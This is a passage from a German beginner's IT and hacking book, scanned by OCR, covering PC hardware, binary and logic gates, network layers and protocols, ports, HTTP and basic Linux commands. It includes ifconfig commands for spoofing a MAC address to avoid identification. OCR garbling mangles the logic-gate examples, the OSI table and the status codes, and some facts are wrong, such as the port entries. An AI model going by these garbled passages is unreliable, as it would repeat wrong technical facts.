gendlicher das Internet und WWW in die Finger, dass mir Input 
geben konnte. Unsere zwei wichtigsten Werkzeuge sind ein 
Browser und eine Suchmaschine. 


Es ist fast egal welche Suchmaschine benutzt wird, die daten- 
schutzfreundlichen Alternativen wie Qwant oder DuckDuckGo 
liefern ähnliche Ergebnisse wie Google. Ich persönlich nutze 
seit einigen Jahren DuckDuckGo. Da dort aber Bing Werbung 
angezeigt wird, treffe ich auch immer wieder auf Werbung wie 
"Millionär verrät geheimen Trick mit dem sie 5391 Euro pro Tag 
verdienen". Immerhin lässt sich die Werbung unter Einstellun- 
gen abschalten. Das ist aber auch alles ein Abwägen von per- 
sönlichen Wünschen. 


Wenn wir uns hier auf eine gemeinsame Reise zu einer Art 
Selbststudium machen, dann machen wir es direkt richtig und 
bauen uns eine persönliche Wissensdatenbank zum Nachschla- 
gen auf. Das bedeutet wir speichern uns gute Erklärvideos, Ar- 
tikel, Open Source Projekte oder PDFs offline. Das Internet gibt, 


80 


aber das Internet nimmt auch. Wenn gute Inhalte nicht mehr 
erreichbar sind und du etwas nachschlagen willst, dann nimmt 
doch besser die für dich verständlichen Inhalte direkt mit. You- 
Tube Videos lade ich mit "youtube-dl" herunter. Die Software 
mit Installationsanleitung befindet sich auf Github. Alle Befehle 
die in eine Shell (auch Terminal genannt) getippt werden sol- 
len, sind mit ">>>" markiert. 


In der Shell sieht es dann so aus: 
>>> youtube-dl "https: //www.youtube.com/watch?v=cNN_tTXABUA" 


Gute Artikel, Schaubilder oder Texte kopiere ich entweder di- 
rekt heraus oder lasse mir von der Webseite eine PDF 
"drucken". Die Druckansicht ist meistens auch schöner, über- 
sichtlicher und ohne Werbung. 


Ich darf auch aus urheberrechtlichen Gründen mein Archiv 
nicht teilen. Feste URLs möchte ich auch nicht mitgeben, da ich 
nicht weiß wie lange die Inhalte noch erreichbar sind. Ich kann 
dir allerdings sagen nach welchen Begriffen ich gesucht habe, 
damit du die genauen oder zumindest ähnliche Inhalte findest. 


Es gibt einige Blogartikel im Internet die einzelne Themen ganz 
gut erklären. Die besten Quellen sind häufig die offiziellen Do- 
kumentationen oder Spezifikationen, danach kommen Wikis 
und Stackoverflow. Wobei du dir gerne eine Idee abschauen 
darfst, allerdings solltest du sie immer nochmal überprüfen, be- 
vor du dort etwas übernimmst. 
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Wer in einer IT-Ausbildung steckt wird vermutlich ein "IT- 
Handbuch" zum Nachschlagen haben. Das erklärt zwar Fachbe- 
griffe, aber keine Zusammenhänge. Als OpenBook Projekt gibt 
es häufiger auch Fachbücher zum Herunterladen. Das ist zum 
Nachschlagen auch okay. Aber erst eine praktische Anleitung 
erklärt dir den Zusammenhang. Solche Anwendungsbeispiele 
findest du als "how to" oder "tutorial". Falls diese Informationen 
nicht ausreichen, dann schaue bei "free code camp" nach oder 
anderen Weiterbildungsplattformen. Dann hast du einen An- 
satz, um selbst deine Erfahrungen damit zu machen und lernst 
wie das Wissen angewendet wird. Wenn du dich für ein Tool 
entschieden hast, kannst du auch speziell nach Bedingungsan- 
leitungen, Blogposts und Tutorials für dieses Tool suchen. So 
viel wie möglich würde ich bei dem Lernprozess für dich selbst 
in irgendeiner Form dokumentieren und speichern. Neben der 
größeren Dokumentation kannst du auch noch Programm + 
"cheat sheets" suchen. Das sind übersichtliche Dokumente, die 
oft benutzte Beispiele oder Funktionen kurz dokumentieren. 
Kleine Spickzettel eben. Falls es keine guten Cheat Sheets gibt, 
lege dir selbst einen ein. Ein Cheat Sheet für die Tools, die du 
selbst verwendest. 


Ich suche oft den schnellen Einstieg in ein Thema. Die Vorge- 
hensweise ist immer gleich: Einen groben Überblick verschaf- 
fen, Dokumentation lesen, Beispiele suchen und einen eigenen 
Prototypen entwickeln. 
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Wir kommen gleich zu Grundlagen zu Computern, Netzwerken 
und Programmierung. Wichtig ist woher du die Infos be- 
kommst. Direkt danach geht es im Buch nur noch um Projekte 
und Ideen. Wer die IT-Grundlagen bereits kennt, kann direkt 
zum Kapitel "Start der Projekte" blättern und z.B. etwas zu 
Twitter Textadventure, Hasskommentarkonverter, Anonymisie- 
rung, SQL Injection, Reverse Engineering, Internet of Things, 
Brute Force, Denial of Service, Makro Trojaner, Social Enginee- 
ring, Lockpicking und IMSI-Catcher lesen. 


Computer Grundlagen 

Grundlagen sind eine wichtige Basis, um zu wissen an welcher 
Stelle du einen Fehler beheben musst. Wer Grundwissen zu 
dem Thema hat, versteht auch Fehlermeldungen besser. Wir 
fangen mit den Komponenten eines Computers an. Wie immer 
gibt es einen Haufen von Anleitungen im Internet. 


Ein gewöhnlicher PC besteht aus: 

* Netzteil: Versorgt alle Komponenten und das Mainboard 
mit Strom. 

* Mainboard: Die Hauptplatine verbindet die Komponenten 
miteinander. 

* BIOS: Das "basic input, output system" ist die Firmware (= 
Software, die in elektronischen Geräten eingebettet ist) auf 
dem Mainboard, welche die Komponenten anspricht und 
danach das Betriebssystem startet. 
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* Der Nachfolger des BIOS: EFI (= Extensible Firmware In- 
terface) sitzt zwischen Betriebsystem und Firmware. 

* Prozessor (= CPU, Central Processing Unit): Zentrale Ein- 
heit, die Berechnungen des Systems durchführt. 

* RAM (= Random Access Memory): Flüchtiger Speicher, für 
die gerade ausgeführten Programme. Er besteht solange, 
wie der Computer mit Strom versorgt wird. 

* Grafikkarte: Grafikprozessor und Videospeicher zur Dar- 
stellung. Bei manchen Systemen direkt auf dem Main- 
board, dann heißt sie Onboard-Grafikkarte. 

* Festplatte: HDD (= Hard Drive Disc) oder bessere SSD (= 
Solid State Disc) speichern Daten dauerhaft. 


Computer bauen 

Wer daran interessiert ist, sich einen Computer selbst zusam- 
men zu bauen, kann sich alle Komponenten kaufen (auf kom- 
patible Standards, ausreichendes Netzteil, Slots etc. achten) 
und zusammenbauen. Dazu muss du eigentlich nur wissen wel- 
che Kabel und Hardware zusammengesteckt wird. Das sollte 
auch alles in der Mainboard Anleitung stehen. Wer vorher se- 
hen will wie es geht, findet heute einige Einsteigervideos auf 
YouTube. Als ich meinen ersten PC zusammengebaut habe, hat- 
te ich die Anleitung aus einem Buch. Die Anleitung zum Main- 
board (meistens auf englisch) zeigt aber auch wie und wo die 
CPU, Wärmeleitpaste, Kühler, usw. hin gehören und alles ange- 
schlossen wird. 
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* CPU einbauen: Auf dem Mainboard findet sich eine Art 
Rahmen oder Bügel, der hochgeklappt werden kann. Dort 
kommt die CPU drauf (ist beschriftet). Es gibt nur eine 
Richtung, wie die Pins auf das Mainboard passen. Halte- 
rung schließen. Die CPU sollte jetzt fest sitzen. 

* Kühler: Die Wärmeleitpaste kommt auf die Metallkühler- 
platte der CPU. Darauf wieder Kühler platziert und fest ge- 
schraubt. Der Kühler braucht Strom, sonst tut sich da 
nichts. Er wird auf dem Mainboard (üblicherweise 4 Pins) 
angeschlossen, die Stelle sollte mit CPU_FAN beschriftet 
sein. 

* Danach kann das Mainboard ins Gehäuse geschraubt wer- 
den. Auf die Abstandshalter achten. 

* Klammern für deinen RAM-Riegel öffnen. Einstecken. Ein- 
rastet lassen. 

* Die Grafikkarte kommt in den Slot Richtung Gehäuse- 
Rückseite, damit auch der Monitor angeschlossen werden 
kann. Zusätzliche Stromversorgung sollte auch angeschlos- 
sen werden. 

* Die Festplatten haben auch entsprechend große Rahmen 
an der Vorderseite. Strom und Datenkabel für das Main- 
board anschließen. 


Wenn wir uns mit Prozessoren beschäftigen wollen, müssen wir 


den Aufbau verstehen und danach die Abarbeitung eines Pro- 


gramms im Zusammenspiel mit dem RAM. Es stellt sich erstmal 


die Frage, woher wir diese Informationen bekommen. Wie im- 
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mer ist Wikipedia zwar ein Einstieg ins Thema, es hilft aber lei- 
der wenig zum Verständnis. Mein Einstieg war der Artikel auf 
Wikipedia, der mir immerhin sagen konnte aus was ein Prozes- 
sor besteht. Zum besseren Verständnis, wie am Ende die Kom- 
munikation wirklich abläuft, hilft das Video "See How a CPU 
Works" auf YouTube. Dadurch wird klarer wie in einem Prozes- 
sor gearbeitet wird. Die bessere schriftliche Einführung fand ich 
durch eher typische Überschriften im Universitätsumfeld und 
dem Zusatz "PDF". Eine gute Erklärung mit Schaubildern konn- 
te ich mit dem "Einführung in Aufbau und Funktionsweise von 
Mikroprozessoren PDF" finden. Suchmaschine befeuern und 
lesen! 


Funktionsgruppen: 

* Steuerwerk (= Control Unit). Liest und interpretiert Pro- 
gramminstruktionen aus dem Speicher Schritt für Schritt 
und gibt Befehle an das Rechenwerk weiter. Diese Pro- 
gramminstruktionen erhält das Steuerwerk in Maschinen- 
sprache. Der Compiler erzeugt aus einem in einer höheren 
Programmiersprache (C, C++, Rust, usw.) geschrieben 
Quellcode (= Source Code) diese Maschinensprache. 

* Rechenwerk mit ALU, die arithmetisch-logische Einheit, die 
Berechnungen durchführt. Da kommen Eingaben rein und 
am Ende ein Ergebnis der Berechnung heraus. Das Steuer- 
werk sorgt dafür, dass die richtigen Eingabewerte anliegen 
und die passende Berechnung dafür ausgeführt wird. 
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* Register sind schnelle Zwischenspeicher für das Steuer- 
werk. Zwischenergebnisse müssen schließlich irgendwo 
gespeichert werden. 


ee 


* Das interne Bussystem bestehend aus Daten- und Adress- 
bus. Das sind Datenleitungen, die z.B. Ergebnisse aus dem 
Rechenwerk zurück ins Steuerwerk bringen. Es wird Bus- 
system genannt, weil mehrere Teilnehmer an die Datenlei- 
tungen angeschlossen sind. Allerdings kann immer nur 
eine Datenübertragung stattfinden, sonst würden Teilneh- 
mer sich gegenseitig stören. Als Metapher wäre das ein 
echter Bus mit immer nur einer Person drin, die sehr 
schnell zwischen verschiedenen Bushaltestellen pendelt. ;) 

Die kleinste Einheit entspricht einem Bit. In der Schule lernte 

ich das als Strom an oder Strom aus. Ein Bit wird dargestellt als 

0 oder 1. Das reicht für unsere Zwecke eigentlich auch. 


Das Bit 

Der Name Bit wurde aus "binary digit" zusammengesetzt. 8 Bit 
werden zu einem Byte zusammengefasst. Datenmengen werden 
damit gemessen. Üblicherweise denken wir in Dezimalzahlen 
von O bis 9. Wir haben aber nur O oder 1 zur Verfügung. Was 
uns auf Binärzahlen (Dualsystem, Zweiersystem) beschränkt. 
Bei Binärzahlen sind die Position und Länge wichtig. Stellen- 
wertsystem mit der Basis 2. Wikipedia hilft, wie immer. 


Jede Position einer Binärzahl hat eine festgelegte Wertigkeit. 
Diese Werte werden addiert und damit wieder ins Dezimalsys- 
tem umgewandelt. Nehmen wir die Zahl 9 als Beispiel: Die Bin- 
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ärzahl würde 1001 lauten. Die Wertigkeit steigert sich potenzi- 
ell für jede Position. Die niedrigste Stelle steht rechts und die 
Werte werden nach links potenziert. Spätestens wenn die Po- 
tenz bei 32, 64, 128 oder 256 angekommen ist, merkst du wie- 
so Speichermedien in genau diesen Größen angegeben werden. 


Zurück zum Beispiel: 


Wertigkeit 8 4 2 1 

Binärzahl 1 0 0 1 
Werte 8 0 0 1 

addieren 

Ergebnis 1001=8+1=9 


Nehmen wir eine Beispiel: 
00110001 00110011 00110011 00110111 


Durch die Leerzeichen wird klar, dass es sich um 1 Byte han- 
delt, das sind 8 Bit also 8 Stellen mit O oder 1. Hierbei handelt 
es sich um ein ASCII (= American Standard Code for Informa- 
tion Interchange) Beispiel. Hierbei können die ersten 4 Bit 
ignoriert werden, da es sich immer um eine Dezimalzahl han- 
delt. 


0001 0011 0011 0111 


Ein Oszilloskop macht die elektrische Spannung in ihrem zeitli- 
chen Verlauf sichtbar. Eine Leitung wird gemessen, dargestellt 
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und bei entsprechender Abtastung einem der beiden Werte zu- 
gewiesen. Um etwas Gefühl für Signale zu bekommen, kann ich 
nur "The sound of the dialup, pictured" von windytan.com emp- 
fehlen. Eine Suche nach Bildern im Internet bringt dich auch 
dahin. Dort wird der berühmte Modemsound erklärt: 


If you ever connected to the Internet before the 2000s, you pro- 
bably remember that it made a peculiar sound. But despite becom- 
ing so familiar, it remained a mystery for most of us. What do 


these sounds mean? 


Die visuelle Variante davon findet sich auf YouTube mit "Dial Up 
Modem Handshake Sound" und sieht sehr cool aus. 


Wer Interesse an einem Messgerät hat, um Signale an Leitun- 
gen zu analysieren, der sollte sich nach "USB Oszilloskop Bit- 
Scope" umsehen. Mir persönlich war es zum Ausprobieren al- 
lerdings zu teuer und das war schon eines der günstigen Pro- 
dukte. 


Logische Verknüpfungen 

Nachdem wir über Signalen und dem Binärsystem gesprochen 
haben, kommen wir zu einem weiteren wichtigen Teil, der uns 
auf kommende Aufgaben vorbereiten soll: Logische Schaltun- 
gen. Logik Gatter verarbeiten ein oder mehr binäre Eingangssi- 
gnale zu einem Ausgangssignal. Wikipedia hilft und hat auch 
schöne Beispiele im Artikel zu "Logikgatter". 
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AND = Und. 
Beispiel:1 AND1 = 1 


OR = Oder. 
Beispiel: 1ORO =1. 
0ORO=0. 


XOR = Entweder Oder. 
Beispiel: 1XOR1=0 


NOT = Logisches Nicht. 
Hat nur einen Eingang und das Ergebnis ist das Gegenteil. 
Beispiel: ONOT = 1 


NAND = Nicht Und. 
Sobald ein Eingang 0 ist, wird der Ausgang 1. 
Beispiel: 1NANDO =1. 


NOR = Nicht Oder. 
Alle Eingänge müssen 0 sein, um am Ausgang 1 zu erhalten. 
Beispiel: ONORO = 1. 


XNOR = Exklusive Nicht Oder. 

Eine gerade Anzahl der Eingänge müssen 1 oder O sein, um am 
Ausgang 1 zu bekommen. 

Beispiel: IXNOR1=1. 
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Das reicht als Einstieg. Wer Informatik studiert oder studiert 
hat, darf sich mit boolesche Algebra beschäftigen. Wichtig um 
später Bedingungen zu schreiben sind logische Operatoren. Da 
kommen noch Vergleiche wie größer, kleiner, größer oder 
gleich, kleiner oder gleich, gleich und ungleich hinzu. 


Wer wissen möchte wie die Schaltung aussehen würde, schaut 
sich den Artikel "Logische Verknüpfung" auf Wikipedia an. Wer 
wissen möchte welche Operatoren die gewählte Programmier- 
sprache direkt beherrscht, findet später im Kapitel "Program- 
mieren lernen" antworten. 


Netzwerke und Internet 

Ein wichtiges Thema: Netzwerke. Wer das Internet verstehen 
will, der muss Netzwerke verstehen. Ganz oben auf der Liste, 
nach Wichtigkeit sortiert, steht TCP/IP Es wird aber auch be- 
reits an Nachfolgerprotokollen gearbeitet. Um verschiedene 
Protokolle im Kontext eines Netzwerks darzustellen, gibt es 
verschiedene Schichten. Das ISO/OSI Modell (= Open Systems 
Interconnection model) ist ein Referenzmodell mit sieben 
Schichten. 


OSI-Schicht TCP/IP Schicht Beispiele der Protokolle 


Anwendung (7) 
HTTP FTP SMTP, POP TEL- 


Darstellung (6) Anwendungen NET, DHCP, SOCKS 
Sitzung (5) 
Transport (4) Transport IP IDE 
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Vermittlung (8) Internet IP (IPv4, IPv6), ICMP 


Sicherung (2) Ethernet, IEEE 802.11 
Netzzugang - WLAN 
Bitübertragung (1) z ) 


Es sind Angriffe auf verschiedenen Schichten möglich. Im Falle 
von Social Engineering (Austricksen von Menschen, um Zugriff 
auf Systeme zu bekommen) wird humorvoll von einem Layer 8 
Problem gesprochen. Der 8. Layer ist der Mensch vor der Ma- 
schine. 


Wir fangen unten im Modell an und arbeiten uns grob nach 
oben. 


Die Bitübertragung und Sicherung bezieht sich auf Switches 
(Verbindung und Verteilung der Anschlüsse an die jeweiligen 
Rechner), die mit der MAC-Adresse dafür sorgen, dass die Pake- 
te an den richtigen Computer im LAN (= Local Area Network) 
geschickt werden. 


MAC 

Die MAC-Adresse besteht aus einem Herstellercode z.B. 00-07- 
E9 für Intel und drei weiteren Bytes für das Netzwerkgerät. 
Insgesamt besteht sie aus 48 Bit und wird hexadezimal darge- 
stellt, also z.B. 00-07-E9-FD-7E-41. Die MAC-Adresse ist fest 
vorgegeben und bleibt eigentlich für gleich, es sei denn jemand 
- sagen wir ein Hacker - ändert sie, damit das Gerät nicht mehr 
identifiziert werden kann. 
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Unter Linux oder MacOS ist das einfach: 
>>> sudo ifconfig eth0 down 
>>> sudo ifconfig eth0 ether 00:07:E9:FD:7E:41 


>>> sudo ifconfig eth0 up 


"Sudo" führt einen Befehl unter Linux mit Administratorrechten 
aus. Ifconfig liest und konfiguriert die Netzwerkschnittstellen. 
"Eth0" wäre die erste Ethernet Schnittstelle. Für WLAN heißen 
die Abkürzungen anders. 


Mit einer MAC-Adresse lassen sich auch Geräte wiederfinden. 
Denn üblicherweise steht die MAC-Adresse noch einige Zeit in 
eurem Router drin. Falls ihr WLAN nutzt und aktiviert ist, 
könntet ihr so bei entsprechender Reichweite eure Geräte wie- 
der erkennen. Dazu braucht ihr einen WLAN-Monitor, der alle 
Clients anzeigt. Das wird später bei "WLAN Angriffe" und 
"Wirklich anonym bleiben" interessant. 


Aber zurück zu Ethernet und den Ethernet Paketen. Dort steht 
das Ziel und die Quelle mit MAC-Adresse drin und der Typ, der 
Auskunft darüber gibt, was sich in der höheren Schicht befin- 
den. Das wäre in unserem Fall das Internet Protokoll. 


IP 

In diesem Paket steht die IP-Adresse der Quelle und des Ziels 
drin. Sehr bekannt ist IPv4. Sie besteht aus vier Blöcken mit je- 
weils 8 Bit. Die Adresse sieht z.B. so aus: 192.168.0.1. Da diese 
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allerdings nicht für die immer größer werden Anzahl an Gerä- 
ten mit Internetzugang ausreicht, wurde IPv6 entwickelt. 


Die IPv4 Adresse besteht aus einem Netzanteil und einem 
Hostanteil. Der Netzanteil wird durch die Subnetzmaske be- 
stimmt: Bei 255.255.255.0 haben wir drei Blöcke Netzanteil 
und einen Block des Hostanteils. Wie viele Bit für den Netzan- 
teil zugewiesen sind, siehst du direkt bei dieser Schreibweise 
mit dem Slash: 192.168.1.10/24. Das sind 24 Bit Netzanteil. 
Die ersten drei Blöcke: 8 Bit + 8Bit + 8 Bit = 24 Bit. Nur Ge- 
räte innerhalb eines Subnetzes können direkt miteinander 
kommunizieren. 


Mit zarten 15 Jahren, war ich der King auf LAN-Parties, weil ich 
das lokale Netzwerk einrichten konnte. 


Außerdem gibt es von 127.0.0.1 bis 127.255.255.254, die 
Loopback Adresse, wodurch sich dein Rechner selbst erreicht. 
Alternative ist dies durch den Begriff localhost möglich. Wenn 
z.B. ein Webserver auf dem eigenen Rechner gestartet ist, lässt 
er sich mit http://localhost erreichen. IPv6 Adresse haben 128 
Bit, mit 64 Bit Präfix und 64 Bit für den Host. Diese Adresse 
werden Hexadezimal dargestellt. 


Zum Beispiel: 2003:00c5:c70c:1eal:1319:8a2e:0370:7347/64. 


Im Block 00c5 können die beiden Nullen auch weggelassen 
werden. 
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Auf dieser Ebene finden sich vor allem Router, die entscheiden 
anhand der IP-Adresse welche Pakete an welche Anschlüsse 
weitergeleitet werden. Außerdem sorgt dein Internet Provider 
dafür, dass diese Pakete weiter an den Rest des Internets gelei- 
tet werden. 


TCP 

In der Transportschicht gibt es das Transmission Control Proto- 
col und es wird in vielen Fällen zum Datenaustausch mit ande- 
ren Rechnern benutzt. Datenverluste werden erkannt und au- 
tomatisch behoben. Das WWW und viele andere Dienste laufen 
darüber. Der Wikipedia Artikel dazu ist sehr interessant, wer 
richtig hardcore drauf ist, der liest sich den RFC (= Request for 
Comments) Beitrag durch: TRANSMISSION CONTROL PRO- 
TOCOL. DARPA INTERNET PROGRAM. PROTOCOL SPECIEFI- 
CATION. September 1981. Netzwerkschnittstellen werden ge- 
öffnet, TCP Händeschütteln und eine Verbindung entsteht. 
Dazu aber später mehr bei DoS-Angriffen. 


UDP 

Wenn es schnell gehen soll, aber eigentlich ein paar verlorene 
Pakete nichts ausmachen wird UDP benutzt. Vor allem für 
Computerspiele oder Streaming interessant. Beim "User Data- 
gram" Protocol werden munter Pakete verschickt und gehofft, 
dass sie ankommen. Paketverlust wird ignoriert. RFC 768. 
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Um sich das in der Praxis anzuschauen reicht es sich ein Netz- 
werkanalyse-Tool wie Wireshark zu besorgen und die empfan- 
gen oder gesendeten Datenpakete anzuschauen. 


PORT 

Ein Port ist die Adresse eines Dienstes auf dem System. Stan- 
dardports sorgen dafür, dass bereits vorher klar ist, welcher 
Dienst bei diesem Port laufen sollte. Ein Port besteht aus einer 
Zahl bis 65535. So ist z.B. ein Webserver üblicherweise über 
Port 80 erreichbar. 


20 - TCP - FTP (File Transfer Protocol) 

22 - TCP/UDP - SSH (Secure Shell) 

23 - TCP - Telnet (ähnlich SSH, aber unverschlüsselt) 

25 - TCP - Simple Mail Transfer Protocol (SMTP) 

53 - TCP/UDP - DNS (Domain Name Service) 

115 - TCP - SFTP (Simple File Transfer Protocol) 

156 - TCP/UDP - SQL Service (Structured Query Language) 


Es gibt auch eine Menge anderer Dienste. Das wird später in- 
teressant, wenn wir einen Portscanner programmieren. 


Anwendungen 
In der Anwendungsschicht gibt es verschiedene Protokolle. 
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DHCP 

Der DHCP (= Dynamic Host Configuration Protocol) kann freie 
IP-Adressen dynamisch vergeben, sodass neue Geräte im Netz- 
werk automatisch eine passende Adresse und DNS-Server be- 
kommen. 


DNS 

Vom DHCP wird auch der ausgewählte DNS-Server mitgeteilt. 
Das "Domain Name System" sorgt dafür, dass wir uns keine 
IPv4 oder IPv6 Adresse merken müssen, um einen Web Server 
zu erreichen, sondern nur eine Domain eingeben müssen, wie 


z.B. wikipedia.de. 


>>> nslookup wikipedia.de 


Das entspricht in meinem Fall der IP: 134.119.24.29. Das lässt 
sich auch mit ping herausfinden. Damit lässt sich die Erreich- 
barkeit eines Hosts prüfen. 


>>> ping wikipedia.de 
PING wikipedia.de (134.119.24.29): 56 data bytes 
64 bytes from 134.119.24.29: icmp_seq=0 ttl=59 time=13.241 ms 


Später im Buch installieren wir mit Pi-Hole einen eigenen DNS- 
Server, mit dem wir DNS Anfragen sehen und filtern können 
um Werbung zu blockieren. 
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HTTP 

Das "Hypertext Transfer Protocol“ befeuert das WWW. HTTP ist 
auf Port 80 erreichbar. Wenn nach Webservern gescannt werden 
soll, ist das der Port der Wahl. HTTPS, die sicherere Variante 
davon. Das ist HTTP mit TLS (= Transport Layer Security) und 
unter Port 443 erreichbar. 


Die gängigsten Methoden: 
GET 


Diese Methode sollte vor allem Daten abrufen. Üblicherweise: 
http://www.topleveldomain.de/beispiel/ 


POST 
Wird genutzt, um Formulare oder andere Daten zu senden. 


In einem HTTP-Request stehen im Header Informationen wie 
Server, Content-Iype, ... drin und es werden Cookie Informa- 
tionen mitgesendet. 


In der URI (= Uniform Resource Identifier) gibt es auch Para- 


meter: https://www.topleveldomain.de/beispiel/index.php?pa- 


rameterl=wert1&parameter?2=wert2. Auf Wikipedia gibt es 
eine Liste mit schönen Beispielen im Artikel von "Uniform Re- 


source Identifier". Das reicht als Einstieg auch. Wer im Browser 
seiner Wahl die Entwicklerkonsole öffnen kann, findet dort ei- 
nen Netzwerk-Tab in dem alle HTTP Requests vollständig ange- 
zeigt werden. Das ist ein guter Start um ein Gefühl für HTTP 
Requests zu bekommen. 
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Als Antwort vom Webserver werden verschiedene Statuscodes 
mitgesendet, um die Antwort grob einzusortieren, bzw. anhand 
des Statuscodes bei 404 direkt zu wissen, dass der Inhalt nicht 
gefunden wurde. 


1xXX Information 
2XX Erfolgreich 
3IXX Umleitung 
Axx Client-Fehler 
IXX Server-Fehler 


Wikipedia hat eine recht übersichtliche Liste: https://de.wiki- 


pedia.org/wiki/HTTP-Statuscode. Die offizielle Dokumentation 
von HTTP/1.1 gibt es als RFC. Dort stehen Methoden, Status- 


codes und alles über HTTP: https://tools.ietf.org/html/rf- 
c2616#section-10. Nachdem jetzt grob die Infrastruktur und 
Protokolle erklärt wurden, machen wir einen Exkurs in die Welt 


von Linux. 


Linux 
Die meisten Webserver laufen mit Linux. Hier gibt es unfassbar 
viele Bereiche, die grundsätzlich hilfreich wären: Nämlich die 
Ordnerstruktur, wichtige Befehle zum Lesen, Anlegen und Lö- 
schen von Dateien, die Standardtools und das Berechtigungs- 
konzept. 
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Lerne Linux! 


Nochmal als Erinnerung, alles mit ">>>" wird in einer Shell 
oder einem Terminal ausgeführt. 


Alleine Linux zu beherrschen ist schon eine recht große Aufga- 
be. Ich erkläre nur die Befehle, die auch später im Buch benutzt 
werden. Eine große Hilfe sind die "Manpages", die über den Be- 
fehl "man" und den Namen des Tools gelesen werden können. 


Dort steht drin, was das Tool kann, wie man es benutzt und 
welche Parameter es gibt. Allerdings hilft es auch die Internet- 
suche zu benutzen, weil diese Anleitungen nicht praxisnah ge- 
schrieben sind. 

Als einfaches Beispiel: "cd" steht für change directory und die 
Manpage findest du in einer Shell mit: 


>>> man cd 


Mit der Taste "q", kommst du wieder zurück aus der Manpage. 
Da wir später hauptsächlich direkt mit Debian-basierten Linux- 
Distributionen unterwegs sein werden, hier ein paar Befehle: 


>>> cd foldername 
In das Verzeichnis "foldername" im aktuellen Verzeichnis wech- 
seln. 


>>> 1s 


Liste aller Dateien im aktuellen Verzeichnis. 
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>>> mkdir test 
Erstellen eines Verzeichnisses mit dem Namen "test" im aktuel- 
len Verzeichnis. 


>>> touch file.txt 
Ändert das Änderungsdatum oder legt die Datei an, wenn sie 
nicht existiert. 


>>> cp file.txt test 
Kopiert die Datei in den Ordner „test“. 


>>> cat file.txt 


Liest eine Datei und stellt sie dar. 


>>> mv file.txt test 


Verschiebt die Datei in den Ordner "test". 


>>> rm -r test 


Löscht den Ordner Test -r steht für rekursive. 


>>> less file.txt 
Zeigt den Inhalt einer Datei in der Shell an. Lässt dich inner- 
halb der Datei scrollen. 


>>> vi file.txt 
Öffnet die Datei im Text Editor vi oder erstellt diese. VI hat ei- 
nige Eigenarten. 


Die wichtigsten Tastenkombinationen für VI. Mit dem Buchsta- 
ben i wechselst du in den Insert-Mode und kannst die Datei 
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normal bearbeiten. Mit ESC beendest du den Insert-Mode wie- 
der. 


Mit ":" außerhalb des Insert-Mode kannst du Befehle für VI ein- 


geben: 
q 
Beendet VI. Alleine wegen dieser Erklärung hat sich das Buch 


schon gelohnt. ;) 


qg! 
Beendet VI ohne zu speichern, auch wenn du etwas geändert 
hast. 


wq 
Speichert und schließt die Datei. 


>>> man cp 
Zeigt das Manuel (= Handbuch) vieler Kommandozeilentools 
an. Hier von cp mit allen Parametern usw. 


Installation von Software aus dem Softwarepaketmanager: 


>>> sudo apt-get install packagename 


Um überhaupt einen Einstieg in Linux und den Tools zu finden, 
hilft vor allem ubuntuusers.de. Dort werden viele Grundlagen 
erklärt. Ich werde im späteren Verlauf nur erklären, was ich für 


ein Beispiel wissen muss. 
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Nachdem wir einige Informationen von Netzwerken bis Com- 
putern in aller Theorie grob durchgegangen sind, kommt einer 
der spannendsten Teile: Die Programmierung. Wenn jemand in 
einem Forum fragt, wie er oder sie denn ein/-e Hacker/-in 
wird, dann ist eine der häufigsten Antworten, dass er oder sie 
programmieren lernen soll. Mit kaum einer Ahnung von Pro- 
grammierung direkt mit C oder Java anzufangen, wird nicht 
funktionieren. Wichtig ist es, die üblichen Programmabläufe zu 
kennen. 


Jetzt geht es auch langsam mehr in den praktischen und kreati- 
ven Teil des Buches. 


Programmieren lernen 

Wer programmieren lernen möchte, sollte sich erst grundsätzli- 
che Gedanken machen, mit welchen Daten in welcher Form ein 
Computer umgehen kann und wie ich daraus das bekomme, 
was ich gerne haben möchte. Was kann mein System? Was 
können meine Tools? Wie kann ich bauen, was ich will? 


Um die Logik in einem Programmablauf zu lernen, helfen eini- 
ge Lernspiele. Lernspiele, die ohne Syntax auskommen, weil 
keine Befehle in der Form drin stehen, sondern logische Blöcke 
und ihre Beschreibung. Ja, das ist für Kinder und Jugendliche 
gedacht, macht aber nichts. 
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“a Alex setzt sein Abenteuer fort und benötigt den Kompass = Wanigz 


„—-, um sich auf die Reise vorzubereiten. 


Programmiere den Agenten, um das Tor zu öffnen. 


Blöcke Arbeitsbereich: D Neu starten 


vorwärts bewegen wenn Ausführen 
wiederhole EZ Male 


machen | vorwärts bewegen 


wiederhole EE2 Male 


machen 


“4 Zurücksetzen 


Auf www.code.org gibt es einfache Tutorials für Kinder und Ju- 
gendliche. Wer ganz neu Programmieren lernen möchte, sollte 
diese Aufgaben meistern können. Dabei geht es um Schleifen, 
Logik und Ablauf. 


Wer sich durch die Anleitungen im Netz liest, wird oft etwas 
von PHP als Einstiegsprache hören. Gerade im Bereich "Pro- 
grammieren lernen" tut sich sehr viel. Die Einstiegshürden 
wurden gesenkt und du musst nicht nur noch trockene Doku- 
mentationen lesen. Da PHP auf sehr vielen Webservern läuft 
werde ich exemplarisch damit anfangen. Zu vielen Program- 
miersprachen gibt es auch interaktive Tutorials im Internet. Wer 
direkt mit der Syntax anfangen möchte findet mit "php interac- 
tive tutorial" entsprechende Lerndienste. 


Ich erkläre kurz wie ich neue Programmiersprachen lerne: Der 
erste Schritt ist sich erstmal auf Wikipedia und lese mir grob 
durch wofür diese Sprache gut ist. Was kann sie besser als an- 


104 


dere? Im nächsten Schritt schaue ich mir deren offizielle Web- 
seite an und lese was sie dort als erwähnenswert erachten. Da- 
nach öffne ich die offizielle Dokumentation und gehe grob über 
das Inhaltsverzeichnis drüber. Dort bekomme ich einen ersten 
Eindruck von der Syntax, welche Features die Sprache hat und 
welche Standardfälle die Sprache direkt abdecken kann. Wich- 
tig ist auch, wie gut die Dokumentation geschrieben wurde. 


Wenn ich nun immer noch Interesse habe die Sprache zu ler- 
nen, dann schaue ich mir die Installationsanweisungen an und 
baue mir eine kleine Testumgebung auf. Es ist bei vielen popu- 
lären Sprachen so, dass es dafür bereits Online-Dienste, die es 
erlauben Code auszuführen. Eine Suche nach "php online" 
bringt Dienste, bei denen kleinere Code-Schnipsel ausprobiert 
werden können. Das gibt es nicht nur für PHB sondern auch 
Rust hat einen eigenen Playground. NodeJS kann komplett auf 
Glitch ausprobiert werden. Go hat auch einen eigenen Play- 
ground. Sogar C++. Diese Sprachen können alle im Browser 
ausprobiert werden, bevor du etwas auf deinem Rechner instal- 
lieren musst. 


Meistens probiere ich auch direkt ein Beispiel oder eine kleine 
